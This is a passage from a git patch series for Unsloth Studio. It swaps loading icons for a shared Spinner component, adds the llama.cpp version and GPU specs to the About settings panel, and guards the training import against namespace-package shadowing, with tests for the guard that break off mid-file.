diff --git a/studio/frontend/src/features/rag/components/document-preview-sheet.tsx b/studio/frontend/src/features/rag/components/document-preview-sheet.tsx
index fb65914ac6..d7f6842d83 100644
--- a/studio/frontend/src/features/rag/components/document-preview-sheet.tsx
+++ b/studio/frontend/src/features/rag/components/document-preview-sheet.tsx
@@ -9,10 +9,10 @@ import {
   ChevronLeftIcon,
   ChevronRightIcon,
   FileTextIcon,
-  LoaderIcon,
   ZoomInIcon,
   ZoomOutIcon,
 } from "lucide-react";
+import { Spinner } from "@/components/ui/spinner";
 
 import {
   Sheet,
@@ -209,7 +209,7 @@ function PdfPreview({
           onLoadError={(e) => setError(e.message)}
           loading={
             <div className="flex items-center gap-2 p-6 text-sm text-muted-foreground">
-              <LoaderIcon className="size-3.5 animate-spin" /> Loading PDF…
+              <Spinner className="size-3.5" /> Loading PDF…
             </div>
           }
         >
@@ -444,7 +444,7 @@ export function DocumentPreviewSheet() {
         <div className="min-h-0 flex-1">
           {loading ? (
             <div className="flex items-center gap-2 p-6 text-sm text-muted-foreground">
-              <LoaderIcon className="size-3.5 animate-spin" /> Resolving source…
+              <Spinner className="size-3.5" /> Resolving source…
             </div>
           ) : error ? (
             <div className="p-6 text-sm text-muted-foreground">
diff --git a/studio/frontend/src/features/rag/components/document-status-chip.tsx b/studio/frontend/src/features/rag/components/document-status-chip.tsx
index 0f2d5341c9..839541871a 100644
--- a/studio/frontend/src/features/rag/components/document-status-chip.tsx
+++ b/studio/frontend/src/features/rag/components/document-status-chip.tsx
@@ -1,7 +1,8 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { LoaderCircleIcon, XIcon } from "lucide-react";
+import { XIcon } from "lucide-react";
+import { Spinner } from "@/components/ui/spinner";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { File02Icon } from "@hugeicons/core-free-icons";
 import { Badge } from "@/components/assistant-ui/badge";
@@ -40,11 +41,7 @@ export function DocumentStatusChip({
       <span className="truncate">{filename}</span>
       {/* spinner while indexing, else close button */}
       {processing ? (
-        <LoaderCircleIcon
-          className="shrink-0 animate-spin size-3.5 text-muted-foreground"
-          role="status"
-          aria-label="Loading"
-        />
+        <Spinner className="shrink-0 size-3.5 text-muted-foreground" />
       ) : onRemove ? (
         <button
           type="button"
diff --git a/studio/frontend/src/features/recipe-studio/components/recipe-graph-node.tsx b/studio/frontend/src/features/recipe-studio/components/recipe-graph-node.tsx
index 0a7cdb0f71..7d23a0c2cd 100644
--- a/studio/frontend/src/features/recipe-studio/components/recipe-graph-node.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/recipe-graph-node.tsx
@@ -4,6 +4,7 @@
 import { MarkdownPreview } from "@/components/markdown/markdown-preview";
 import { Badge } from "@/components/ui/badge";
 import { Button } from "@/components/ui/button";
+import { Spinner } from "@/components/ui/spinner";
 import { cn } from "@/lib/utils";
 import {
   BalanceScaleIcon,
@@ -473,11 +474,9 @@ function RecipeGraphNodeBase({
       )}
     >
       {runtimeState === "running" && config?.kind === "llm" && (
-        <div className="pointer-events-none absolute -top-7 right-2 z-20">
-          <span
-            className="block size-6 animate-spin rounded-full border-[3px] border-primary/90 border-t-transparent bg-background"
-            aria-label="Running"
-          />
+        // rounded-full bg-background masks grid lines behind the floating spinner
+        <div className="pointer-events-none absolute -top-7 right-2 z-20 rounded-full bg-background">
+          <Spinner className="size-6 text-primary/90" />
         </div>
       )}
       <NodeResizer
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx b/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx
index c052edebc5..4e9347e02e 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx
@@ -2,10 +2,10 @@ import { useCallback, useEffect, useRef, useState } from "react";
 import {
   CloudUploadIcon,
   Cancel01Icon,
-  Loading03Icon,
   CheckmarkCircle02Icon,
   Alert02Icon,
 } from "@hugeicons/core-free-icons";
+import { Spinner } from "@/components/ui/spinner";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { uploadUnstructuredFile, removeUnstructuredFile } from "../../api";
 import {
@@ -226,10 +226,7 @@ export function UnstructuredDropZone({
               className="flex items-center gap-2 rounded-md border px-3 py-1.5 text-sm"
             >
               {entry.status === "uploading" && (
-                <HugeiconsIcon
-                  icon={Loading03Icon}
-                  className="text-muted-foreground size-4 animate-spin"
-                />
+                <Spinner className="text-muted-foreground size-4" />
               )}
               {entry.status === "ok" && (
                 <HugeiconsIcon
diff --git a/studio/frontend/src/features/studio/sections/dataset-preview-dialog-mapping.tsx b/studio/frontend/src/features/studio/sections/dataset-preview-dialog-mapping.tsx
index 4f9ea2c98f..5be1c32f69 100644
--- a/studio/frontend/src/features/studio/sections/dataset-preview-dialog-mapping.tsx
+++ b/studio/frontend/src/features/studio/sections/dataset-preview-dialog-mapping.tsx
@@ -14,7 +14,8 @@ import type { CheckFormatResponse } from "@/features/training/types/datasets";
 import { cn } from "@/lib/utils";
 import { AlertCircleIcon, CheckmarkCircle02Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { Loader2, Sparkles } from "lucide-react";
+import { Sparkles } from "lucide-react";
+import { Spinner } from "@/components/ui/spinner";
 
 const CHATML_ROLES = ["system", "user", "assistant"] as const;
 const ALPACA_ROLES = ["instruction", "input", "output"] as const;
@@ -203,7 +204,7 @@ export function DatasetMappingCard({
               >
                 {isAiLoading ? (
                   <>
-                    <Loader2 className="mr-1.5 h-3.5 w-3.5 animate-spin" />
+                    <Spinner className="mr-1.5 size-3.5" />
                     Analyzing dataset...
                   </>
                 ) : (

From 785d446fc1493232b7896e4089e2ba53d0809ab7 Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Mon, 15 Jun 2026 09:25:08 -0300
Subject: [PATCH 12/91] Studio: show llama.cpp version and GPU specs in the
 About panel (#6261)

* Studio: show llama.cpp version and GPU specs in the About panel

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: run the hardware endpoint off the event loop

* Studio: show the full llama.cpp release tag (incl -mix-<sha>) in the About panel

* Studio: order About-panel GPUs by visible ordinal and skip the llama.cpp probe during updates

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix hardware info refresh and endpoint scope

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
---
 studio/backend/main.py                        | 29 +++++++-
 studio/backend/tests/test_llama_cpp_update.py | 27 ++++++++
 studio/backend/utils/llama_cpp_update.py      | 34 ++++++++++
 .../components/studio-version-section.tsx     | 17 ++++-
 .../src/features/settings/tabs/about-tab.tsx  | 40 ++++++++++-
 .../frontend/src/hooks/use-hardware-info.ts   | 68 ++++++++++++++++---
 .../src/hooks/use-llama-update-check.ts       |  2 +
 studio/frontend/src/i18n/locales/en.ts        |  5 ++
 studio/frontend/src/i18n/locales/zh-CN.ts     |  5 ++
 9 files changed, 212 insertions(+), 15 deletions(-)

diff --git a/studio/backend/main.py b/studio/backend/main.py
index 2022074c08..2435efba21 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -250,7 +250,7 @@ if os.getenv("ENVIRONMENT_TYPE", "production") == "production":
     # warnings.filterwarnings("ignore", category=DeprecationWarning)
     # warnings.filterwarnings("ignore", module="triton.*")
 
-from fastapi import Depends, FastAPI, HTTPException, Request
+from fastapi import Depends, FastAPI, HTTPException, Query, Request
 from fastapi.middleware.cors import CORSMiddleware
 from fastapi.staticfiles import StaticFiles
 from fastapi.responses import FileResponse, HTMLResponse, Response
@@ -967,17 +967,40 @@ async def get_gpu_visibility(current_subject: str = Depends(get_current_subject)
 
 
 @app.get("/api/system/hardware")
-async def get_hardware_info(current_subject: str = Depends(get_current_subject)):
+def get_hardware_info(
+    include_details: bool = Query(False), current_subject: str = Depends(get_current_subject)
+):
     """Return GPU name, total VRAM, and key ML package versions.
 
     Gated behind auth alongside /api/system -- same fingerprinting concern.
     /api/system/gpu-visibility is also auth-gated.
+
+    ``include_details`` is for About/diagnostics. The default response stays
+    cheap for callers that only need the primary GPU summary, like training
+    method auto-selection. Sync def (not async): hardware/detail probes can
+    shell out, and FastAPI runs sync endpoints in a threadpool.
     """
     from utils.hardware import get_gpu_summary, get_package_versions
-    return {
+
+    body = {
         "gpu": get_gpu_summary(),
         "versions": get_package_versions(),
     }
+    if include_details:
+        from utils.llama_cpp_update import get_installed_llama_version
+
+        # All backend-visible GPUs (respects CUDA_VISIBLE_DEVICES), so multi-GPU
+        # hosts list every device -- get_gpu_summary alone reports only the primary.
+        # Sort by visible_ordinal: the nvidia-smi path returns rows in physical order,
+        # so under a reordering CUDA_VISIBLE_DEVICES (e.g. "5,3") labeling by array
+        # index would otherwise disagree with the GPU 0/1 the backend actually sees.
+        devices = get_backend_visible_gpu_info().get("devices", [])
+        body["gpus"] = [
+            {"name": d.get("name"), "vram_total_gb": d.get("memory_total_gb")}
+            for d in sorted(devices, key = lambda d: d.get("visible_ordinal", 0))
+        ]
+        body["llama_cpp"] = get_installed_llama_version()
+    return body
 
 
 # ============ Serve Frontend (Optional) ============
diff --git a/studio/backend/tests/test_llama_cpp_update.py b/studio/backend/tests/test_llama_cpp_update.py
index 326b3dc6aa..c42c3e8a79 100644
--- a/studio/backend/tests/test_llama_cpp_update.py
+++ b/studio/backend/tests/test_llama_cpp_update.py
@@ -293,6 +293,33 @@ def test_status_source_build_skips_probe_while_job_runs(monkeypatch, tmp_path):
     assert probes == {"resolve": 0, "version": 0}
 
 
+def test_installed_version_skips_probe_while_job_runs(monkeypatch, tmp_path):
+    # Markerless build: get_installed_llama_version falls back to exec'ing
+    # `llama-server --version`. While the updater swaps the tree that exec can
+    # fail the installer's os.replace on Windows, so the About-panel probe must
+    # be skipped (return None) exactly like get_update_status's source probe.
+    binary = tmp_path / "build" / "bin" / "llama-server"
+    binary.parent.mkdir(parents = True)
+    binary.write_text("stub")  # markerless: no UNSLOTH_PREBUILT_INFO.json
+    monkeypatch.setattr(upd, "_find_binary", lambda: str(binary))
+    probed = {"n": 0}
+
+    def _count_version(b):
+        probed["n"] += 1
+        return 9585
+
+    monkeypatch.setattr(upd, "_installed_build_number", _count_version)
+
+    with upd._job_lock:
+        upd._job["state"] = upd._JOB_RUNNING
+    assert upd.get_installed_llama_version() is None
+    assert probed["n"] == 0  # never exec'd the binary mid-swap
+
+    upd._reset_job_for_tests()  # back to idle -> probe runs
+    assert upd.get_installed_llama_version() == "b9585"
+    assert probed["n"] == 1
+
+
 def test_status_update_available(monkeypatch, tmp_path):
     binary = _write_install(tmp_path, "b9493")
     monkeypatch.setattr(upd, "_find_binary", lambda: binary)
diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.py
index 3518247d7e..c2c6c67432 100644
--- a/studio/backend/utils/llama_cpp_update.py
+++ b/studio/backend/utils/llama_cpp_update.py
@@ -180,6 +180,40 @@ def _installed_build_number(binary: Optional[str]) -> Optional[int]:
     return n if n > 1 else None
 
 
+def get_installed_llama_version() -> Optional[str]:
+    """Display string for the active llama.cpp install (e.g. 'b9585' or
+    'b9601-mix-a0e2906'), or None.
+
+    Prefers the install marker's release_tag -- the full unsloth release
+    identity, the same field the update banner compares as installed (see
+    #6219) -- so a 'b9601-mix-a0e2906' build reads back in full rather than
+    collapsing to its base 'b9601'. The marker's bare ``tag`` is only the
+    upstream llama.cpp build (no '-mix-<commit>' suffix), so it's the fallback.
+    Last resort is ``b<build>`` parsed from ``llama-server --version`` for
+    source/custom builds that have no marker.
+
+    Lightweight: reads the local marker and at most runs ``--version``. Does no
+    network or release-freshness work (unlike get_update_status), so it is safe
+    to call from latency-sensitive paths like the About panel.
+    """
+    binary = _find_binary()
+    marker = read_install_marker(binary)
+    if marker:
+        tag = marker.get("release_tag") or marker.get("tag")
+        if tag:
+            return tag
+    # Markerless/source build: the fallback execs ``llama-server --version``.
+    # Skip it while an update is swapping the tree -- on Windows that exec can
+    # make the installer's os.replace fail (the same race get_update_status's
+    # source-build probe guards against). The panel just omits the row.
+    with _job_lock:
+        job_running = _job["state"] == _JOB_RUNNING
+    if job_running:
+        return None
+    n = _installed_build_number(binary)
+    return f"b{n}" if n is not None else None
+
+
 def _is_under(path: Path, root: Path) -> bool:
     try:
         p, r = path.resolve(), root.resolve()
diff --git a/studio/frontend/src/features/settings/components/studio-version-section.tsx b/studio/frontend/src/features/settings/components/studio-version-section.tsx
index 9ede7cd35d..9b0c513cbf 100644
--- a/studio/frontend/src/features/settings/components/studio-version-section.tsx
+++ b/studio/frontend/src/features/settings/components/studio-version-section.tsx
@@ -35,8 +35,14 @@ async function fetchStudioVersions(): Promise<{
   }
 }
 
-// Shared "Unsloth" version block, shown in both General and About.
-export function StudioVersionSection() {
+// Shared "Unsloth" version block, shown in both General and About. The About
+// tab passes llamaCppVersion to surface the installed llama.cpp build alongside
+// the version rows; General omits it, so the row only shows on About.
+export function StudioVersionSection({
+  llamaCppVersion,
+}: {
+  llamaCppVersion?: string | null;
+} = {}) {
   const t = useT();
   const [packageVersion, setPackageVersion] = useState("dev");
   const [studioVersion, setStudioVersion] = useState("dev");
@@ -65,6 +71,13 @@ export function StudioVersionSection() {
           {packageVersion}
         </code>
       </SettingsRow>
+      {llamaCppVersion ? (
+        <SettingsRow label={t("settings.about.llamaCppVersion")}>
+          <code className="font-mono text-xs text-muted-foreground">
+            {llamaCppVersion}
+          </code>
+        </SettingsRow>
+      ) : null}
     </SettingsSection>
   );
 }
diff --git a/studio/frontend/src/features/settings/tabs/about-tab.tsx b/studio/frontend/src/features/settings/tabs/about-tab.tsx
index 15684d9b3b..2394e2ad92 100644
--- a/studio/frontend/src/features/settings/tabs/about-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/about-tab.tsx
@@ -6,6 +6,7 @@ import { Button } from "@/components/ui/button";
 import { usePlatformStore } from "@/config/env";
 import { getAuthToken } from "@/features/auth";
 import { removeTrainingUnloadGuard } from "@/features/training";
+import { useHardwareInfo } from "@/hooks/use-hardware-info";
 import { useT } from "@/i18n";
 import { apiUrl, isTauri } from "@/lib/api-base";
 import {
@@ -74,6 +75,7 @@ export function AboutTab() {
   const t = useT();
   const deviceType = usePlatformStore((s) => s.deviceType);
   const defaultShell = deviceType === "windows" ? "windows" : "unix";
+  const hw = useHardwareInfo();
   const [shutdownOpen, setShutdownOpen] = useState(false);
   const [installSource, setInstallSource] = useState<
     UpdateInstallSource | "loading"
@@ -104,7 +106,9 @@ export function AboutTab() {
         </p>
       </header>
 
-      <StudioVersionSection />
+      {/* llama.cpp row lives in the shared version section so it sits with the
+          Unsloth/Package rows; the prop keeps it About-only (General passes none). */}
+      <StudioVersionSection llamaCppVersion={hw.llamaCpp} />
 
       <SettingsSection title={t("settings.about.updates")}>
         <div className="py-2">
@@ -116,6 +120,40 @@ export function AboutTab() {
         </div>
       </SettingsSection>
 
+      {hw.gpus.length > 0 || hw.cuda || hw.rocm ? (
+        <SettingsSection title={t("settings.about.hardware")}>
+          {hw.gpus.map((gpu, i) => (
+            <SettingsRow
+              // Index key: device order from the backend is stable per request.
+              key={i}
+              label={
+                hw.gpus.length > 1
+                  ? `${t("settings.about.gpu")} ${i}`
+                  : t("settings.about.gpu")
+              }
+            >
+              <code className="font-mono text-xs text-muted-foreground">
+                {gpu.name ?? "—"}
+                {gpu.vramTotalGb != null
+                  ? ` · ${Math.round(gpu.vramTotalGb)} GB`
+                  : ""}
+              </code>
+            </SettingsRow>
+          ))}
+          {hw.cuda || hw.rocm ? (
+            <SettingsRow
+              label={
+                hw.cuda ? t("settings.about.cuda") : t("settings.about.rocm")
+              }
+            >
+              <code className="font-mono text-xs text-muted-foreground">
+                {hw.cuda ?? hw.rocm}
+              </code>
+            </SettingsRow>
+          ) : null}
+        </SettingsSection>
+      ) : null}
+
       <SettingsSection title={t("settings.about.help")}>
         <SettingsRow label={t("settings.about.documentation")}>
           <a
diff --git a/studio/frontend/src/hooks/use-hardware-info.ts b/studio/frontend/src/hooks/use-hardware-info.ts
index e988830d70..36e3c532f3 100644
--- a/studio/frontend/src/hooks/use-hardware-info.ts
+++ b/studio/frontend/src/hooks/use-hardware-info.ts
@@ -4,53 +4,99 @@
 import { authFetch } from "@/features/auth";
 import { useEffect, useState } from "react";
 
+export interface GpuDevice {
+    name: string | null;
+    vramTotalGb: number | null;
+}
+
+interface ApiGpu {
+    name?: string | null;
+    vram_total_gb?: number | null;
+}
+
 export interface HardwareInfo {
     gpuName: string | null;
     vramTotalGb: number | null;
     vramFreeGb: number | null;
+    gpus: GpuDevice[];
     torch: string | null;
     cuda: string | null;
+    rocm: string | null;
     transformers: string | null;
     unsloth: string | null;
+    llamaCpp: string | null;
 }
 
 const DEFAULT: HardwareInfo = {
     gpuName: null,
     vramTotalGb: null,
     vramFreeGb: null,
+    gpus: [],
     torch: null,
     cuda: null,
+    rocm: null,
     transformers: null,
     unsloth: null,
+    llamaCpp: null,
 };
 
 // Module-level cache so multiple components share one fetch.
 let cached: HardwareInfo | null = null;
 let fetchPromise: Promise<HardwareInfo> | null = null;
+let cacheGeneration = 0;
+const listeners = new Set<(info: HardwareInfo) => void>();
+
+function notifyHardwareInfo(info: HardwareInfo) {
+    listeners.forEach((listener) => listener(info));
+}
+
+export function invalidateHardwareInfo() {
+    cacheGeneration += 1;
+    cached = null;
+    fetchPromise = null;
+}
+
+export async function refreshHardwareInfo(): Promise<HardwareInfo> {
+    invalidateHardwareInfo();
+    return fetchOnce();
+}
 
 async function fetchOnce(): Promise<HardwareInfo> {
     if (cached) return cached;
     if (fetchPromise) return fetchPromise;
 
+    const generation = cacheGeneration;
     fetchPromise = (async () => {
         try {
-            const res = await authFetch("/api/system/hardware");
+            const res = await authFetch("/api/system/hardware?include_details=true");
             if (!res.ok) throw new Error(`HTTP ${res.status}`);
             const data = await res.json();
             const info: HardwareInfo = {
                 gpuName: data?.gpu?.gpu_name ?? null,
                 vramTotalGb: data?.gpu?.vram_total_gb ?? null,
                 vramFreeGb: data?.gpu?.vram_free_gb ?? null,
+                gpus: Array.isArray(data?.gpus)
+                    ? data.gpus.map((g: ApiGpu) => ({
+                        name: g?.name ?? null,
+                        vramTotalGb: g?.vram_total_gb ?? null,
+                    }))
+                    : [],
                 torch: data?.versions?.torch ?? null,
                 cuda: data?.versions?.cuda ?? null,
+                rocm: data?.versions?.rocm ?? null,
                 transformers: data?.versions?.transformers ?? null,
                 unsloth: data?.versions?.unsloth ?? null,
+                llamaCpp: data?.llama_cpp ?? null,
             };
-            cached = info;
-            return info;
+            if (generation === cacheGeneration) {
+                cached = info;
+                notifyHardwareInfo(info);
+                return info;
+            }
+            return cached ?? DEFAULT;
         } catch {
             // Reset so subsequent calls retry (e.g. backend wasn't ready).
-            fetchPromise = null;
+            if (generation === cacheGeneration) fetchPromise = null;
             return DEFAULT;
         }
     })();
@@ -66,13 +112,17 @@ export function useHardwareInfo(): HardwareInfo {
     const [info, setInfo] = useState<HardwareInfo>(cached ?? DEFAULT);
 
     useEffect(() => {
-        if (cached) return;
-
         let cancelled = false;
-        fetchOnce().then((hw) => {
+        const listener = (hw: HardwareInfo) => {
             if (!cancelled) setInfo(hw);
-        });
-        return () => { cancelled = true; };
+        };
+
+        listeners.add(listener);
+        if (!cached) fetchOnce().then(listener);
+        return () => {
+            cancelled = true;
+            listeners.delete(listener);
+        };
     }, []);
 
     return info;
diff --git a/studio/frontend/src/hooks/use-llama-update-check.ts b/studio/frontend/src/hooks/use-llama-update-check.ts
index 73e12f9bff..5fcacab521 100644
--- a/studio/frontend/src/hooks/use-llama-update-check.ts
+++ b/studio/frontend/src/hooks/use-llama-update-check.ts
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { authFetch, getAuthToken } from "@/features/auth";
+import { refreshHardwareInfo } from "@/hooks/use-hardware-info";
 import { useCallback, useEffect, useRef, useState } from "react";
 
 // First check shortly after load, then re-surface as an hourly reminder. The
@@ -120,6 +121,7 @@ export function useLlamaUpdateCheck({
         setApplying(false);
         if (s.job.state === "success") {
           setVisible(false);
+          void refreshHardwareInfo();
           onDone?.({ ok: true, tag: s.job.to_tag });
         } else if (s.job.state === "error") {
           // Leave the banner up so the user can retry; clearing applying drops
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 08feda7300..9b32c22dde 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -329,6 +329,11 @@ export const en = {
         "Docs, release notes, feedback, and build info.",
       studioVersion: "Unsloth Version",
       packageVersion: "Package Version",
+      llamaCppVersion: "llama.cpp Version",
+      hardware: "Hardware",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
       updates: "Update",
       help: "Help",
       documentation: "Documentation",
diff --git a/studio/frontend/src/i18n/locales/zh-CN.ts b/studio/frontend/src/i18n/locales/zh-CN.ts
index 9141a4c104..c98ff794bd 100644
--- a/studio/frontend/src/i18n/locales/zh-CN.ts
+++ b/studio/frontend/src/i18n/locales/zh-CN.ts
@@ -301,6 +301,11 @@ export const zhCN = {
       description: "文档、发布说明、反馈和 Unsloth 构建信息。",
       studioVersion: "Unsloth 版本",
       packageVersion: "包版本",
+      llamaCppVersion: "llama.cpp 版本",
+      hardware: "硬件",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
       updates: "更新",
       help: "帮助",
       documentation: "文档",

From f297593a7c082ac6f13b856b152e41c1a69efb0d Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 15 Jun 2026 06:06:48 -0700
Subject: [PATCH 13/91] Studio: keep training from failing when a
 namespace-package shadows unsloth (#6269)

* Studio: guard the training import against a namespace-package shadow of unsloth

A directory named unsloth without an __init__.py on sys.path (a stray checkout,
a partial clone, or a polluted PYTHONPATH) makes the path finder return a
namespace package, so the worker's 'from unsloth import FastLanguageModel' fails
with 'cannot import name ... (unknown location)'. A normal site-packages install
always wins this race, so only source/editable installs are exposed. Before the
import, drop the offending sys.path entries, bind the real packages, then
restore sys.path so other modules on those entries keep importing. It is a
no-op when unsloth already resolves to a real package.

* Studio: import unsloth before unsloth_zoo in the namespace-shadow guard

_ensure_real_packages imported the requested names in argument order, so a
unsloth_zoo namespace shadow made it import unsloth_zoo directly before
unsloth. That skips unsloth.__init__ -> _gpu_init, which runs its ROCm and
Windows bitsandbytes fixes before its own import unsloth_zoo, so the recovery
path could import zoo with those guards skipped and fail on the ROCm/Windows
cases those fixes handle.

Import parent-first via reversed(names) so unsloth is imported first and pulls
in the real unsloth_zoo after _gpu_init has run; the later cached import is a
no-op. This also covers the case where only unsloth_zoo is shadowed: the bad
sys.path entry is still dropped and unsloth owns the zoo import. Detection,
sys.path pruning, shadow-cache clearing, and restoration are unchanged.

Add tests/test_namespace_shadow_guard_pr6269.py: CPU-only subprocess scenarios
(only zoo shadowed, both shadowed, only unsloth shadowed, healthy no-op, real
package absent, multiple shadow entries) that assert unsloth imports before
unsloth_zoo and that sys.path is restored.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: restore sys.path even if invalidate_caches fails in the shadow guard

Move importlib.invalidate_caches() inside the try/finally so a failure there
still restores sys.path, and tighten the import-order comment. Add a test that
forces invalidate_caches to raise and asserts sys.path is restored.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/training/trainer.py       |  56 ++++
 .../test_namespace_shadow_guard_pr6269.py     | 282 ++++++++++++++++++
 2 files changed, 338 insertions(+)
 create mode 100644 studio/backend/tests/test_namespace_shadow_guard_pr6269.py

diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py
index 018b66ea92..529b98c652 100644
--- a/studio/backend/core/training/trainer.py
+++ b/studio/backend/core/training/trainer.py
@@ -44,6 +44,62 @@ from utils.hardware import (
 # doesn't crash on RDNA2/RDNA3 with older ROCm wheels.
 if hasattr(torch._dynamo.config, "recompile_limit"):
     torch._dynamo.config.recompile_limit = 64
+
+
+def _ensure_real_packages(*names: str) -> None:
+    """Stop `import <name>` from binding to a namespace-package shadow.
+
+    A directory named like the package but missing __init__.py on sys.path (a
+    stray checkout, a partial clone, or a polluted PYTHONPATH) makes the path
+    finder return a namespace package, so `from unsloth import FastLanguageModel`
+    dies with "cannot import name ... (unknown location)". A normal
+    site-packages install always wins, so only source/editable installs are
+    exposed. Drop the offending entries, import the real packages, then restore
+    sys.path so other modules on those entries keep importing.
+    """
+    import importlib
+    import importlib.util
+
+    bad: set = set()
+    shadowed: list = []
+    for name in names:
+        try:
+            spec = importlib.util.find_spec(name)
+        except (ImportError, ValueError, AttributeError):
+            spec = None
+        # a real package exposes its __init__ via spec.origin; a namespace
+        # shadow has origin None/"namespace" and only search locations
+        if spec is None or spec.origin not in (None, "namespace"):
+            continue
+        dirs = {os.path.realpath(d) for d in (spec.submodule_search_locations or [])}
+        if not dirs:
+            continue
+        shadowed.append(name)
+        for entry in sys.path:
+            pkg = os.path.join(entry or os.getcwd(), name)
+            if os.path.realpath(pkg) in dirs and not os.path.isfile(
+                os.path.join(pkg, "__init__.py")
+            ):
+                bad.add(entry)
+    if not bad:
+        return
+    saved = list(sys.path)
+    sys.path[:] = [e for e in sys.path if e not in bad]
+    for name in shadowed:
+        for cached in [m for m in list(sys.modules) if m == name or m.startswith(name + ".")]:
+            del sys.modules[cached]
+    try:
+        importlib.invalidate_caches()
+        # Import unsloth before unsloth_zoo (names are dependency-first):
+        # unsloth.__init__ runs ROCm/Windows bnb fixes before it imports zoo,
+        # so importing zoo first here would skip them. Repeat import is a no-op.
+        for name in reversed(names):
+            importlib.import_module(name)
+    finally:
+        sys.path[:] = saved
+
+
+_ensure_real_packages("unsloth_zoo", "unsloth")
 from unsloth import FastLanguageModel, FastVisionModel, is_bfloat16_supported
 from unsloth.chat_templates import get_chat_template
 
diff --git a/studio/backend/tests/test_namespace_shadow_guard_pr6269.py b/studio/backend/tests/test_namespace_shadow_guard_pr6269.py
new file mode 100644
index 0000000000..3ed6636bda
--- /dev/null
+++ b/studio/backend/tests/test_namespace_shadow_guard_pr6269.py
@@ -0,0 +1,282 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Verification tests for PR #6269 (training-worker namespace-shadow guard).
+
+`_ensure_real_packages` (core/training/trainer.py) drops namespace-package
+shadow dirs (a `unsloth`/`unsloth_zoo` dir with no __init__.py on sys.path)
+before `from unsloth import ...`. Order matters: `unsloth.__init__` runs its
+ROCm/Windows bnb fixes before importing unsloth_zoo, so the guard must import
+unsloth first. Each test runs the real guard (ast-extracted from source, no
+GPU/torch) in a subprocess, with fake packages reachable only via a meta path
+finder to mimic an editable/PEP 660 install where the shadow wins.
+"""
+
+import json
+import os
+import subprocess
+import sys
+import textwrap
+from pathlib import Path
+
+import pytest
+
+TRAINER_PY = Path(__file__).resolve().parents[1] / "core" / "training" / "trainer.py"
+
+
+# ── fake package bodies ──────────────────────────────────────────────
+# Real `unsloth` sets a sentinel (mimics _gpu_init's pre-zoo fixes) then
+# imports unsloth_zoo, which records whether that sentinel was set first.
+
+_REAL_UNSLOTH_INIT = textwrap.dedent(
+    """
+    import os
+    with open(os.environ["GUARD_ORDER_FILE"], "a") as _f:
+        _f.write("unsloth\\n")
+    # mimic _gpu_init: pre-zoo ROCm/Windows fixes run before importing zoo
+    os.environ["UNSLOTH_GPU_INIT_RAN"] = "1"
+    import unsloth_zoo  # noqa: F401
+    REAL = True
+    """
+)
+
+_REAL_ZOO_INIT = textwrap.dedent(
+    """
+    import os
+    with open(os.environ["GUARD_ORDER_FILE"], "a") as _f:
+        _f.write("unsloth_zoo\\n")
+    with open(os.environ["GUARD_SENTINEL_FILE"], "w") as _f:
+        _f.write(os.environ.get("UNSLOTH_GPU_INIT_RAN", "0"))
+    REAL = True
+    """
+)
+
+
+# ── subprocess driver ────────────────────────────────────────────────
+# Reads a JSON config, rebuilds sys.path / sys.meta_path to model the
+# scenario, runs the real guard, and writes the observed result as JSON.
+
+_DRIVER = textwrap.dedent(
+    """
+    import ast, importlib.abc, importlib.util, json, os, sys
+
+    cfg = json.load(open(sys.argv[1]))
+
+    # Extract the real _ensure_real_packages from trainer.py source without
+    # importing the heavy module or its `from unsloth import ...` line.
+    src = open(cfg["trainer_py"]).read()
+    tree = ast.parse(src)
+    fn = next(n for n in tree.body
+              if isinstance(n, ast.FunctionDef) and n.name == "_ensure_real_packages")
+    mod = ast.Module(body=[fn], type_ignores=[])
+    ast.fix_missing_locations(mod)
+    ns = {"os": os, "sys": sys}
+    exec(compile(mod, cfg["trainer_py"], "exec"), ns)
+    _ensure_real_packages = ns["_ensure_real_packages"]
+
+    # Under -S site-packages is off, so a shadow root placed first wins the
+    # path finder; the real packages come only from the meta finder below.
+    for root in reversed(cfg["shadow_roots"]):
+        sys.path.insert(0, root)
+
+    # Real packages are reachable only via a meta path finder appended AFTER
